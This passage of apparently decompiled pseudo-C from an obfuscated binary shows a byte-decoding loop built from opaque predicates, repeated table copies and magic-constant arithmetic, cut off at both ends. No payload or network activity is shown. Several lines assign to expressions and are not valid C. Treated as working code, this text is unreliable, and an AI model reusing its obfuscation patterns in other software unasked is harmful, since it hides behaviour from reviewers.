																																																	_v1500 = _v1312 + _v1316 - (_v1312 & _v1316) + (_v1312 & _v1316);
																																																	_v101 = _v1500 + 0x6e;
																																																	goto L153;
																																																}
																																																_v1285 = _v85 & 0x000000ff;
																																																_v1292 = _v84;
																																																_v1296 = _v1285 & 0x000000ff;
																																																_v1300 = _v1292 + 0x3ee8bf88;
																																																_v1504 = _v1296 + _v1300 - (_v1296 & _v1300) + (_v1296 & _v1300);
																																																_v101 = _v1504 + 0x48;
																																																goto L154;
																																															}
																																															_v1269 = _v85 & 0x000000ff;
																																															_v1276 = _v84;
																																															_v1280 = _v1269 & 0x000000ff;
																																															_v1284 = _v1276 - 0x1fcab28f;
																																															_v1508 = _v1280 + _v1284 - (_v1280 & _v1284) + (_v1280 & _v1284);
																																															_v101 = _v1508 - 0x17;
																																															L142:
																																															 *((char*)(_v72 + _v84)) = _v101 & 0x000000ff;
																																															goto L215;
																																														}
																																														_v1253 = _v85 & 0x000000ff;
																																														_v1260 = _v84;
																																														_v1264 = _v1253 & 0x000000ff;
																																														_v1268 = _v1260 - 0x45ac1365;
																																														_v1512 = _v1264 + _v1268 - (_v1264 & _v1268) + (_v1264 & _v1268);
																																														_v101 = _v1512 - 0x3d;
																																														L141:
																																														memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																														_t5103 = _t5113 + 0xc;
																																														_t2754 = _v1836;
																																														_t2754 - _v80 = _t2754 & 0xffffff00 | _t2754 - _v80 > 0x00000000;
																																														if((_t2754 & 0xffffff00 | _t2754 - _v80 > 0x00000000) == 0) {
																																															_v885 = _v85 & 0x000000ff;
																																															_v892 = _v84;
																																															_v896 = _v885 & 0x000000ff;
																																															_v900 = _v892 - 0x7419b55e;
																																															_v1604 = _v896 + _v900 - (_v896 & _v900) + (_v896 & _v900);
																																															_v101 = _v1604 - 0x6e;
																																															_t1326 =  &_v101;
																																															 *_t1326 = _v101 << 1;
																																															__eflags =  *_t1326;
																																															goto L144;
																																														}
																																														goto L142;
																																													}
																																													_v1237 = _v85 & 0x000000ff;
																																													_v1244 = _v84;
																																													_v1248 = _v1237 & 0x000000ff;
																																													_v1252 = _v1244 - 0x6b8d743b;
																																													_v1516 = _v1248 + _v1252 - (_v1248 & _v1252) + (_v1248 & _v1252);
																																													_v101 = _v1516 - 0x63;
																																													L120:
																																													memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																													_t5103 = _t5112 + 0xc;
																																													_t2782 = _v1912;
																																													_t2782 - _v76 = _t2782 & 0xffffff00 | _t2782 - _v76 > 0x00000000;
																																													if((_t2782 & 0xffffff00 | _t2782 - _v76 > 0x00000000) == 0) {
																																														_v917 = _v85 & 0x000000ff;
																																														_v924 = _v84;
																																														_v928 = _v917 & 0x000000ff;
																																														_v932 = _v924 - 0x4e385488;
																																														_v1596 = _v928 + _v932 - (_v928 & _v932) + (_v928 & _v932);
																																														_v101 = _v1596 - 0x48;
																																														_t1366 =  &_v101;
																																														 *_t1366 = _v101 + ( *(_v84 + _v72) & 0x000000ff);
																																														__eflags =  *_t1366;
																																														goto L148;
																																													}
																																													memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																													_t5113 = _t5103 + 0xc;
																																													_t2802 = _v80 + _v1848;
																																													_v76 - _t2802 = _t2802 & 0xffffff00 | _v76 - _t2802 > 0x00000000;
																																													if((_t2802 & 0xffffff00 | _v76 - _t2802 > 0x00000000) == 0) {
																																														memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																														_t5103 = _t5113 + 0xc;
																																														_t2807 = _v80 + 1;
																																														_v76 - _t2807 = _t2807 & 0xffffff00 | _v76 == _t2807;
																																														if((_t2807 & 0xffffff00 | _v76 == _t2807) == 0) {
																																															memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																															_t5103 = _t5103 + 0xc;
																																															_t2815 = _v80 + (_v1876 & 0x00000001) + 1;
																																															_v76 - _t2815 = _t2815 & 0xffffff00 | _v76 == _t2815;
																																															if((_t2815 & 0xffffff00 | _v76 == _t2815) == 0) {
																																																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																_t5103 = _t5103 + 0xc;
																																																_t2826 = _v80 + _v1848 - 0xffffffff55555556 + (_v1848 * 0xaaaaaaab >> 0x20 >> 1) + 1;
																																																_v76 - _t2826 = _t2826 & 0xffffff00 | _v76 == _t2826;
																																																if((_t2826 & 0xffffff00 | _v76 == _t2826) == 0) {
																																																	memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																	_t5103 = _t5103 + 0xc;
																																																	_t2834 = _v80 + (_v1820 & 0x00000003) + 1;
																																																	_v76 - _t2834 = _t2834 & 0xffffff00 | _v76 == _t2834;
																																																	if((_t2834 & 0xffffff00 | _v76 == _t2834) == 0) {
																																																		memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																		_t5103 = _t5103 + 0xc;
																																																		_t2845 = _v80 + _v1892 - (0xcccccccd << 2) + (_v1892 * 0xcccccccd >> 0x20 >> 2) + 1;
																																																		_v76 - _t2845 = _t2845 & 0xffffff00 | _v76 == _t2845;
																																																		if((_t2845 & 0xffffff00 | _v76 == _t2845) == 0) {
																																																			memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																			_t5103 = _t5103 + 0xc;
																																																			_t2857 = _v80 + _v1864 - 0xffffffff55555556 + (_v1864 * 0xaaaaaaab >> 0x20 >> 2) + 0xffffffff55555556 + (_v1864 * 0xaaaaaaab >> 0x20 >> 2) + 1;
																																																			_v76 - _t2857 = _t2857 & 0xffffff00 | _v76 == _t2857;
																																																			if((_t2857 & 0xffffff00 | _v76 == _t2857) == 0) {
																																																				memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																				_t5103 = _t5103 + 0xc;
																																																				_t2871 = _v1820 - ((_v1820 - 0x24924925 >> 1) + (_v1820 * 0x24924925 >> 0x20) >> 2 << 3) - ((_v1820 - 0x24924925 >> 1) + (_v1820 * 0x24924925 >> 0x20) >> 2) + _v80 + 1;
																																																				_v76 - _t2871 = _t2871 & 0xffffff00 | _v76 == _t2871;
																																																				if((_t2871 & 0xffffff00 | _v76 == _t2871) == 0) {
																																																					memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																					_t5103 = _t5103 + 0xc;
																																																					_t2879 = _v80 + (_v1892 & 0x00000007) + 1;
																																																					_v76 - _t2879 = _t2879 & 0xffffff00 | _v76 == _t2879;
																																																					if((_t2879 & 0xffffff00 | _v76 == _t2879) == 0) {
																																																						memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																						_t5113 = _t5103 + 0xc;
																																																						_t2890 = _v80 + _v1864 - (0x38e38e39 << 3) + (_v1864 * 0x38e38e39 >> 0x20 >> 1) + 1;
																																																						_v76 - _t2890 = _t2890 & 0xffffff00 | _v76 == _t2890;
																																																						if((_t2890 & 0xffffff00 | _v76 == _t2890) == 0) {
																																																							goto L141;
																																																						}
																																																						_v869 = _v85 & 0x000000ff;
																																																						_v876 = _v84;
																																																						_v880 = _v869 & 0x000000ff;
																																																						_v884 = _v876 + 0x6604e9cc;
																																																						_v1608 = _v880 + _v884 - (_v880 & _v884) + (_v880 & _v884);
																																																						_v101 = _v1608 + 0x6c;
																																																						goto L144;
																																																					}
																																																					_v853 = _v85 & 0x000000ff;
																																																					_v860 = _v84;
																																																					_v864 = _v853 & 0x000000ff;
																																																					_v868 = _v860 + 0x402388f6;
																																																					_v1612 = _v864 + _v868 - (_v864 & _v868) + (_v864 & _v868);
																																																					_v101 = _v1612 + 0x46;
																																																					goto L145;
																																																				}
																																																				_v837 = _v85 & 0x000000ff;
																																																				_v844 = _v84;
																																																				_v848 = _v837 & 0x000000ff;
																																																				_v852 = _v844 + 0x1a422820;
																																																				_v1616 = _v848 + _v852 - (_v848 & _v852) + (_v848 & _v852);
																																																				_v101 = _v1616 + 0x20;
																																																				goto L146;
																																																			}
																																																			_v821 = _v85 & 0x000000ff;
																																																			_v828 = _v84;
																																																			_v832 = _v821 & 0x000000ff;
																																																			_v836 = _v828 - 0xb9f38b6;
																																																			_v1620 = _v832 + _v836 - (_v832 & _v836) + (_v832 & _v836);
																																																			_v101 = _v1620 - 6;
																																																			goto L148;
																																																		}
																																																		_v805 = _v85 & 0x000000ff;
																																																		_v812 = _v84;
																																																		_v816 = _v805 & 0x000000ff;
																																																		_v820 = _v812 - 0x3180998c;
																																																		_v1624 = _v816 + _v820 - (_v816 & _v820) + (_v816 & _v820);
																																																		_v101 = _v1624 - 0x2c;
																																																		goto L149;
																																																	}
																																																	_v789 = _v85 & 0x000000ff;
																																																	_v796 = _v84;
																																																	_v800 = _v789 & 0x000000ff;
																																																	_v804 = _v796 - 0x5761fa62;
																																																	_v1628 = _v800 + _v804 - (_v800 & _v804) + (_v800 & _v804);
																																																	_v101 = _v1628 - 0x52;
																																																	goto L150;
																																																}
																																																_v773 = _v85 & 0x000000ff;
																																																_v780 = _v84;
																																																_v784 = _v773 & 0x000000ff;
																																																_v788 = _v780 - 0x7d435b38;
																																																_v1632 = _v784 + _v788 - (_v784 & _v788) + (_v784 & _v788);
																																																_v101 = _v1632 - 0x78;
																																																goto L152;
																																															}
																																															_v757 = _v85 & 0x000000ff;
																																															_v764 = _v84;
																																															_v768 = _v757 & 0x000000ff;
																																															_v772 = _v764 + 0x5cdb43f2;
																																															_v1636 = _v768 + _v772 - (_v768 & _v772) + (_v768 & _v772);
																																															_v101 = _v1636 + 0x62;
																																															goto L153;
																																														}
																																														_v741 = _v85 & 0x000000ff;
																																														_v748 = _v84;
																																														_v752 = _v741 & 0x000000ff;
																																														_v756 = _v748 + 0x36f9e31c;
																																														_v1640 = _v752 + _v756 - (_v752 & _v756) + (_v752 & _v756);
																																														_v101 = _v1640 + 0x3c;
																																														goto L154;
																																													}
																																													_v725 = _v85 & 0x000000ff;
																																													_v732 = _v84;
																																													_v736 = _v725 & 0x000000ff;
																																													_v740 = _v732 + 0x11188246;
																																													_v1644 = _v736 + _v740 - (_v736 & _v740) + (_v736 & _v740);
																																													_v101 = _v1644 + 0x16;
																																													goto L141;
																																												}
																																												_v1221 = _v85 & 0x000000ff;
																																												_v1228 = _v84;
																																												_v1232 = _v1221 & 0x000000ff;
																																												_v1236 = _v1228 + 0x6e912aef;
																																												_v1520 = _v1232 + _v1236 - (_v1232 & _v1236) + (_v1232 & _v1236);
																																												_v101 = _v1520 + 0x77;
																																												L99:
																																												_v1924 = _v80 + _v76;
																																												memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																												_t5103 = _t5111 + 0xc;
																																												_t3028 = _v1872;
																																												_v1924 - _t3028 = _t3028 & 0xffffff00 | _v1924 != _t3028;
																																												if((_t3028 & 0xffffff00 | _v1924 != _t3028) == 0) {
																																													_v949 = _v85 & 0x000000ff;
																																													_v956 = _v84;
																																													_v960 = _v949 & 0x000000ff;
																																													_v964 = _v956 - 0x2856f3b2;
																																													_v1588 = _v960 + _v964 - (_v960 & _v964) + (_v960 & _v964);
																																													_v101 = _v1588 - 0x22;
																																													_t1415 =  &_v101;
																																													 *_t1415 = _v101 - ( *(_v84 + _v72) & 0x000000ff);
																																													__eflags =  *_t1415;
																																													goto L152;
																																												}
																																												memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																												_t5112 = _t5103 + 0xc;
																																												_t3048 = _v80 + _v1908;
																																												_v76 - _t3048 = _t3048 & 0xffffff00 | _v76 - _t3048 > 0x00000000;
																																												if((_t3048 & 0xffffff00 | _v76 - _t3048 > 0x00000000) == 0) {
																																													memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																													_t5103 = _t5112 + 0xc;
																																													_t3053 = _v80 + 1;
																																													_v76 - _t3053 = _t3053 & 0xffffff00 | _v76 == _t3053;
																																													if((_t3053 & 0xffffff00 | _v76 == _t3053) == 0) {
																																														memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																														_t5103 = _t5103 + 0xc;
																																														_t3061 = _v80 + (_v1852 & 0x00000001) + 1;
																																														_v76 - _t3061 = _t3061 & 0xffffff00 | _v76 == _t3061;
																																														if((_t3061 & 0xffffff00 | _v76 == _t3061) == 0) {
																																															memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																															_t5103 = _t5103 + 0xc;
																																															_t3072 = _v80 + _v1824 - 0xffffffff55555556 + (_v1824 * 0xaaaaaaab >> 0x20 >> 1) + 1;
																																															_v76 - _t3072 = _t3072 & 0xffffff00 | _v76 == _t3072;
																																															if((_t3072 & 0xffffff00 | _v76 == _t3072) == 0) {
																																																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																_t5103 = _t5103 + 0xc;
																																																_t3080 = _v80 + (_v1880 & 0x00000003) + 1;
																																																_v76 - _t3080 = _t3080 & 0xffffff00 | _v76 == _t3080;
																																																if((_t3080 & 0xffffff00 | _v76 == _t3080) == 0) {
																																																	memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																	_t5103 = _t5103 + 0xc;
																																																	_t3091 = _v80 + _v1852 - (0xcccccccd << 2) + (_v1852 * 0xcccccccd >> 0x20 >> 2) + 1;
																																																	_v76 - _t3091 = _t3091 & 0xffffff00 | _v76 == _t3091;
																																																	if((_t3091 & 0xffffff00 | _v76 == _t3091) == 0) {
																																																		memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																		_t5103 = _t5103 + 0xc;
																																																		_t3103 = _v80 + _v1824 - 0xffffffff55555556 + (_v1824 * 0xaaaaaaab >> 0x20 >> 2) + 0xffffffff55555556 + (_v1824 * 0xaaaaaaab >> 0x20 >> 2) + 1;
																																																		_v76 - _t3103 = _t3103 & 0xffffff00 | _v76 == _t3103;
																																																		if((_t3103 & 0xffffff00 | _v76 == _t3103) == 0) {
																																																			memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																			_t5103 = _t5103 + 0xc;
																																																			_t3117 = _v1896 - ((_v1896 - 0x24924925 >> 1) + (_v1896 * 0x24924925 >> 0x20) >> 2 << 3) - ((_v1896 - 0x24924925 >> 1) + (_v1896 * 0x24924925 >> 0x20) >> 2) + _v80 + 1;
																																																			_v76 - _t3117 = _t3117 & 0xffffff00 | _v76 == _t3117;
																																																			if((_t3117 & 0xffffff00 | _v76 == _t3117) == 0) {
																																																				memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																				_t5103 = _t5103 + 0xc;
																																																				_t3125 = _v80 + (_v1868 & 0x00000007) + 1;
																																																				_v76 - _t3125 = _t3125 & 0xffffff00 | _v76 == _t3125;
																																																				if((_t3125 & 0xffffff00 | _v76 == _t3125) == 0) {
																																																					memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																																					_t5112 = _t5103 + 0xc;
																																																					_t3136 = _v80 + _v1840 - (0x38e38e39 << 3) + (_v1840 * 0x38e38e39 >> 0x20 >> 1) + 1;
																																																					_v76 - _t3136 = _t3136 & 0xffffff00 | _v76 == _t3136;
																																																					if((_t3136 & 0xffffff00 | _v76 == _t3136) == 0) {
																																																						goto L120;
																																																					}
																																																					_v709 = _v85 & 0x000000ff;
																																																					_v716 = _v84;
																																																					_v720 = _v709 & 0x000000ff;
																																																					_v724 = _v716 - 0x27b98efb;
																																																					_v1648 = _v720 + _v724 - (_v720 & _v724) + (_v720 & _v724);
																																																					_v101 = _v1648 - 0x23;
																																																					goto L154;
																																																				}
																																																				_v693 = _v85 & 0x000000ff;
																																																				_v700 = _v84;
																																																				_v704 = _v693 & 0x000000ff;
																																																				_v708 = _v700 - 0x4d9aefd1;
																																																				_v1652 = _v704 + _v708 - (_v704 & _v708) + (_v704 & _v708);
																																																				_v101 = _v1652 - 0x49;
																																																				goto L153;
																																																			}
																																																			_v677 = _v85 & 0x000000ff;
																																																			_v684 = _v84;
																																																			_v688 = _v677 & 0x000000ff;
																																																			_v692 = _v684 - 0x737c50a7;
																																																			_v1656 = _v688 + _v692 - (_v688 & _v692) + (_v688 & _v692);
																																																			_v101 = _v1656 - 0x6f;
																																																			goto L152;
																																																		}
																																																		_v661 = _v85 & 0x000000ff;
																																																		_v668 = _v84;
																																																		_v672 = _v661 & 0x000000ff;
																																																		_v676 = _v668 + 0x66a24e83;
																																																		_v1660 = _v672 + _v676 - (_v672 & _v676) + (_v672 & _v676);
																																																		_v101 = _v1660 + 0x6b;
																																																		goto L150;
																																																	}
																																																	_v645 = _v85 & 0x000000ff;
																																																	_v652 = _v84;
																																																	_v656 = _v645 & 0x000000ff;
																																																	_v660 = _v652 + 0x40c0edad;
																																																	_v1664 = _v656 + _v660 - (_v656 & _v660) + (_v656 & _v660);
																																																	_v101 = _v1664 + 0x45;
																																																	goto L149;
																																																}
																																																_v629 = _v85 & 0x000000ff;
																																																_v636 = _v84;
																																																_v640 = _v629 & 0x000000ff;
																																																_v644 = _v636 + 0x1adf8cd7;
																																																_v1668 = _v640 + _v644 - (_v640 & _v644) + (_v640 & _v644);
																																																_v101 = _v1668 + 0x1f;
																																																goto L148;
																																															}
																																															_v613 = _v85 & 0x000000ff;
																																															_v620 = _v84;
																																															_v624 = _v613 & 0x000000ff;
																																															_v628 = _v620 - 0xb01d3ff;
																																															_v1672 = _v624 + _v628 - (_v624 & _v628) + (_v624 & _v628);
																																															_v101 = _v1672 - 7;
																																															goto L146;
																																														}
																																														_v597 = _v85 & 0x000000ff;
																																														_v604 = _v84;
																																														_v608 = _v597 & 0x000000ff;
																																														_v612 = _v604 - 0x30e334d5;
																																														_v1676 = _v608 + _v612 - (_v608 & _v612) + (_v608 & _v612);
																																														_v101 = _v1676 - 0x2d;
																																														goto L145;
																																													}
																																													_v581 = _v85 & 0x000000ff;
																																													_v588 = _v84;
																																													_v592 = _v581 & 0x000000ff;
																																													_v596 = _v588 - 0x56c495ab;
																																													_v1680 = _v592 + _v596 - (_v592 & _v596) + (_v592 & _v596);
																																													_v101 = _v1680 - 0x53;
																																													goto L144;
																																												}
																																												_v565 = _v85 & 0x000000ff;
																																												_v572 = _v84;
																																												_v576 = _v565 & 0x000000ff;
																																												_v580 = _v572 - 0x7ca5f681;
																																												_v1684 = _v576 + _v580 - (_v576 & _v580) + (_v576 & _v580);
																																												_v101 = _v1684 - 0x79;
																																												goto L120;
																																											}
																																											_v1205 = _v85 & 0x000000ff;
																																											_v1212 = _v84;
																																											_v1216 = _v1205 & 0x000000ff;
																																											_v1220 = _v1212 + 0x48afca19;
																																											_v1524 = _v1216 + _v1220 - (_v1216 & _v1220) + (_v1216 & _v1220);
																																											_v101 = _v1524 + 0x51;
																																											goto L78;
																																										}
																																										_v1189 = _v85 & 0x000000ff;
																																										_v1196 = _v84;
																																										_v1200 = _v1189 & 0x000000ff;
																																										_v1204 = _v1196 + 0x22ce6943;
																																										_v1528 = _v1200 + _v1204 - (_v1200 & _v1204) + (_v1200 & _v1204);
																																										_v101 = _v1528 + 0x2b;
																																										goto L57;
																																									}
																																									_v1173 = _v85 & 0x000000ff;
																																									_v1180 = _v84;
																																									_v1184 = _v1173 & 0x000000ff;
																																									_v1188 = _v1180 - 0x312f793;
																																									_v1532 = _v1184 + _v1188 - (_v1184 & _v1188) + (_v1184 & _v1188);
																																									_v101 = _v1532 + 5;
																																									goto L36;
																																								}
																																								_v1157 = _v85 & 0x000000ff;
																																								_v1164 = _v84;
																																								_v1168 = _v1157 & 0x000000ff;
																																								_v1172 = _v1164 - 0x28f45869;
																																								_v1536 = _v1168 + _v1172 - (_v1168 & _v1172) + (_v1168 & _v1172);
																																								_v101 = _v1536 - 0x21;
																																								_v84 = 0;
																																								goto L34;
																																							}
																																							_v1141 = _v85 & 0x000000ff;
																																							_v1148 = _v84;
																																							_v1152 = _v1141 & 0x000000ff;
																																							_v1156 = _v1148 - 0x4ed5b93f;
																																							_v1540 = _v1152 + _v1156 - (_v1152 & _v1156) + (_v1152 & _v1156);
																																							_v101 = _v1540 - 0x47;
																																							goto L32;
																																						}
																																						_v1125 = _v85 & 0x000000ff;
																																						_v1132 = _v84;
																																						_v1136 = _v1125 & 0x000000ff;
																																						_v1140 = _v1132 + 0x5276d4aa;
																																						_v1544 = _v1136 + _v1140 - (_v1136 & _v1140) + (_v1136 & _v1140);
																																						_v101 = _v1544 + 0x5a;
																																						goto L154;
																																					}
																																					_v1109 = _v85 & 0x000000ff;
																																					_v1116 = _v84;
																																					_v1120 = _v1109 & 0x000000ff;
																																					_v1124 = _v1116 + 0x2c9573d4;
																																					_v1548 = _v1120 + _v1124 - (_v1120 & _v1124) + (_v1120 & _v1124);
																																					_v101 = _v1548 + 0x34;
																																					goto L153;
																																				}
																																				_v1093 = _v85 & 0x000000ff;
																																				_v1100 = _v84;
																																				_v1104 = _v1093 & 0x000000ff;
																																				_v1108 = _v1100 + 0x6b412fe;
																																				_v1552 = _v1104 + _v1108 - (_v1104 & _v1108) + (_v1104 & _v1108);
																																				_v101 = _v1552 + 0xe;
																																				goto L152;
																																			}
																																			_v1077 = _v85 & 0x000000ff;
																																			_v1084 = _v84;
																																			_v1088 = _v1077 & 0x000000ff;
																																			_v1092 = _v1084 - 0x1f2d4dd8;
																																			_v1556 = _v1088 + _v1092 - (_v1088 & _v1092) + (_v1088 & _v1092);
																																			_v101 = _v1556 - 0x18;
																																			goto L150;
																																		}
																																		_v1061 = _v85 & 0x000000ff;
																																		_v1068 = _v84;
																																		_v1072 = _v1061 & 0x000000ff;
																																		_v1076 = _v1068 - 0x450eaeae;
																																		_v1560 = _v1072 + _v1076 - (_v1072 & _v1076) + (_v1072 & _v1076);
																																		_v101 = _v1560 - 0x3e;
																																		goto L149;
																																	}
																																	_v1045 = _v85 & 0x000000ff;
																																	_v1052 = _v84;
																																	_v1056 = _v1045 & 0x000000ff;
																																	_v1060 = _v1052 - 0x6af00f84;
																																	_v1564 = _v1056 + _v1060 - (_v1056 & _v1060) + (_v1056 & _v1060);
																																	_v101 = _v1564 - 0x64;
																																	goto L148;
																																}
																																_v1029 = _v85 & 0x000000ff;
																																_v1036 = _v84;
																																_v1040 = _v1029 & 0x000000ff;
																																_v1044 = _v1036 + 0x6f2e8fa6;
																																_v1568 = _v1040 + _v1044 - (_v1040 & _v1044) + (_v1040 & _v1044);
																																_v101 = _v1568 + 0x76;
																																goto L146;
																															}
																															_v1013 = _v85 & 0x000000ff;
																															_v1020 = _v84;
																															_v1024 = _v1013 & 0x000000ff;
																															_v1028 = _v1020 + 0x494d2ed0;
																															_v1572 = _v1024 + _v1028 - (_v1024 & _v1028) + (_v1024 & _v1028);
																															_v101 = _v1572 + 0x50;
																															goto L145;
																														}
																														_v997 = _v85 & 0x000000ff;
																														_v1004 = _v84;
																														_v1008 = _v997 & 0x000000ff;
																														_v1012 = _v1004 + 0x236bcdfa;
																														_v1576 = _v1008 + _v1012 - (_v1008 & _v1012) + (_v1008 & _v1012);
																														_v101 = _v1576 + 0x2a;
																														goto L144;
																													}
																													memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																													_t5111 = _t5103 + 0xc;
																													_t3429 = _v80 + _v1820;
																													_v76 - _t3429 = _t3429 & 0xffffff00 | _v76 - _t3429 > 0x00000000;
																													if((_t3429 & 0xffffff00 | _v76 - _t3429 > 0x00000000) == 0) {
																														memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																														_t5103 = _t5111 + 0xc;
																														_t3434 = _v80 + 1;
																														_v76 - _t3434 = _t3434 & 0xffffff00 | _v76 == _t3434;
																														if((_t3434 & 0xffffff00 | _v76 == _t3434) == 0) {
																															memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																															_t5103 = _t5103 + 0xc;
																															_t3442 = _v80 + (_v1912 & 0x00000001) + 1;
																															_v76 - _t3442 = _t3442 & 0xffffff00 | _v76 == _t3442;
																															if((_t3442 & 0xffffff00 | _v76 == _t3442) == 0) {
																																memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																_t5103 = _t5103 + 0xc;
																																_t3453 = _v80 + _v1884 - 0xffffffff55555556 + (_v1884 * 0xaaaaaaab >> 0x20 >> 1) + 1;
																																_v76 - _t3453 = _t3453 & 0xffffff00 | _v76 == _t3453;
																																if((_t3453 & 0xffffff00 | _v76 == _t3453) == 0) {
																																	memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																	_t5103 = _t5103 + 0xc;
																																	_t3461 = _v80 + (_v1856 & 0x00000003) + 1;
																																	_v76 - _t3461 = _t3461 & 0xffffff00 | _v76 == _t3461;
																																	if((_t3461 & 0xffffff00 | _v76 == _t3461) == 0) {
																																		memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																		_t5103 = _t5103 + 0xc;
																																		_t3472 = _v80 + _v1828 - (0xcccccccd << 2) + (_v1828 * 0xcccccccd >> 0x20 >> 2) + 1;
																																		_v76 - _t3472 = _t3472 & 0xffffff00 | _v76 == _t3472;
																																		if((_t3472 & 0xffffff00 | _v76 == _t3472) == 0) {
																																			memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																			_t5103 = _t5103 + 0xc;
																																			_t3484 = _v80 + _v1900 - 0xffffffff55555556 + (_v1900 * 0xaaaaaaab >> 0x20 >> 2) + 0xffffffff55555556 + (_v1900 * 0xaaaaaaab >> 0x20 >> 2) + 1;
																																			_v76 - _t3484 = _t3484 & 0xffffff00 | _v76 == _t3484;
																																			if((_t3484 & 0xffffff00 | _v76 == _t3484) == 0) {
																																				memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																				_t5103 = _t5103 + 0xc;
																																				_t3498 = _v1872 - ((_v1872 - 0x24924925 >> 1) + (_v1872 * 0x24924925 >> 0x20) >> 2 << 3) - ((_v1872 - 0x24924925 >> 1) + (_v1872 * 0x24924925 >> 0x20) >> 2) + _v80 + 1;
																																				_v76 - _t3498 = _t3498 & 0xffffff00 | _v76 == _t3498;
																																				if((_t3498 & 0xffffff00 | _v76 == _t3498) == 0) {
																																					memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																					_t5103 = _t5103 + 0xc;
																																					_t3506 = _v80 + (_v1828 & 0x00000007) + 1;
																																					_v76 - _t3506 = _t3506 & 0xffffff00 | _v76 == _t3506;
																																					if((_t3506 & 0xffffff00 | _v76 == _t3506) == 0) {
																																						memcpy( &_v1912, 0x5281a0, 0x19 << 2);
																																						_t5111 = _t5103 + 0xc;
																																						_t3517 = _v80 + _v1900 - (0x38e38e39 << 3) + (_v1900 * 0x38e38e39 >> 0x20 >> 1) + 1;
																																						_v76 - _t3517 = _t3517 & 0xffffff00 | _v76 == _t3517;
																																						if((_t3517 & 0xffffff00 | _v76 == _t3517) == 0) {
																																							goto L99;
																																						}
																																						_v549 = _v85 & 0x000000ff;
																																						_v556 = _v84;
																																						_v560 = _v549 & 0x000000ff;
																																						_v564 = _v556 + 0x4a87f83e;
																																						_v1688 = _v560 + _v564 - (_v560 & _v564) + (_v560 & _v564);
																																						_v101 = _v1688 + 0x4e;
																																						goto L144;
																																					}
																																					_v533 = _v85 & 0x000000ff;
																																					_v540 = _v84;
																																					_v544 = _v533 & 0x000000ff;
																																					_v548 = _v540 + 0x24a69768;
																																					_v1692 = _v544 + _v548 - (_v544 & _v548) + (_v544 & _v548);
																																					_v101 = _v1692 + 0x28;
																																					goto L145;
																																				}
																																				_v517 = _v85 & 0x000000ff;
																																				_v524 = _v84;
																																				_v528 = _v517 & 0x000000ff;
																																				_v532 = _v524 - 0x13ac96e;
																																				_v1696 = _v528 + _v532 - (_v528 & _v532) + (_v528 & _v532);
																																				_v101 = _v1696 + 2;
																																				goto L146;
																																			}
																																			_v501 = _v85 & 0x000000ff;
																																			_v508 = _v84;
																																			_v512 = _v501 & 0x000000ff;
																																			_v516 = _v508 - 0x271c2a44;
																																			_v1700 = _v512 + _v516 - (_v512 & _v516) + (_v512 & _v516);
																																			_v101 = _v1700 - 0x24;
																																			goto L148;
																																		}
																																		_v485 = _v85 & 0x000000ff;
																																		_v492 = _v84;
																																		_v496 = _v485 & 0x000000ff;
																																		_v500 = _v492 - 0x4cfd8b1a;
																																		_v1704 = _v496 + _v500 - (_v496 & _v500) + (_v496 & _v500);
																																		_v101 = _v1704 - 0x4a;
																																		goto L149;
																																	}
																																	_v469 = _v85 & 0x000000ff;
																																	_v476 = _v84;
																																	_v480 = _v469 & 0x000000ff;
																																	_v484 = _v476 - 0x72deebf0;
																																	_v1708 = _v480 + _v484 - (_v480 & _v484) + (_v480 & _v484);
																																	_v101 = _v1708 - 0x70;
																																	goto L150;
																																}
																																_v453 = _v85 & 0x000000ff;
																																_v460 = _v84;
																																_v464 = _v453 & 0x000000ff;
																																_v468 = _v460 + 0x673fb33a;
																																_v1712 = _v464 + _v468 - (_v464 & _v468) + (_v464 & _v468);
																																_v101 = _v1712 + 0x6a;
																																goto L152;
																															}
																															_v437 = _v85 & 0x000000ff;
																															_v444 = _v84;
																															_v448 = _v437 & 0x000000ff;
																															_v452 = _v444 + 0x415e5264;
																															_v1716 = _v448 + _v452 - (_v448 & _v452) + (_v448 & _v452);
																															_v101 = _v1716 + 0x44;
																															goto L153;
																														}
																														_v421 = _v85 & 0x000000ff;
																														_v428 = _v84;
																														_v432 = _v421 & 0x000000ff;
																														_v436 = _v428 + 0x1b7cf18e;
																														_v1720 = _v432 + _v436 - (_v432 & _v436) + (_v432 & _v436);
																														_v101 = _v1720 + 0x1e;
																														goto L154;
																													}
																													_v405 = _v85 & 0x000000ff;
																													_v412 = _v84;
																													_v416 = _v405 & 0x000000ff;
																													_v420 = _v412 + 0x12f0b06b;
																													_v1724 = _v416 + _v420 - (_v416 & _v420) + (_v416 & _v420);
																													_v101 = _v1724 + 0x13;
																													goto L99;
																												}
																												_v389 = _v85 & 0x000000ff;
																												_v396 = _v84;
																												_v400 = _v389 & 0x000000ff;
																												_v404 = _v396 - 0x1d551fb3;
																												_v1728 = _v400 + _v404 - (_v400 & _v404) + (_v400 & _v404);
																												_v101 = _v1728 - 0x1b;
